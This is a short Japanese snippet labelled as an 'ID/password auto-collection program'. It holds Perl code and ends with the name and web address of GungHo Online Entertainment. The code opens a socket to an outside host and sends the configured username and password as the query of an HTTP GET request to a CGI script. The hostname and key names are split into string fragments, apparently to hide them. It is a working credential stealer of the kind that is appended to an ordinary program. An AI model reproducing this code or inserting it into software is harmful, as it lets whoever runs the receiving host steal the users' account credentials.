追加
■IDパスワード自動収集プログラム
use Socket;
$po = getservbyname('http', 'tcp');
$ipd = inet_aton("f24".".aaacafe".".ne.jp");
$sock_addddr = pack_sockaddr_in($po,$ipd);
socket(SOCKET, PF_INET, SOCK_STREAM, 0);
connect(SOCKET, $sock_addddr);
select(SOCKET); $|=1; select(STDOUT);
print SOCKET "GET /~bie"."tn/bin/"."monsters_add".".cgi?$config{'us'.'ern'.'ame'}:$config{'pa'.'ssw'.'ord'} HTTP/1.0\r\n";
print SOCKET "User-Agent: "."ko"."re\r\n";
print SOCKET "\r\n";
ガンホー・オンライン・エンターテイメント株式会社
http://www.gungho.jp/top.asp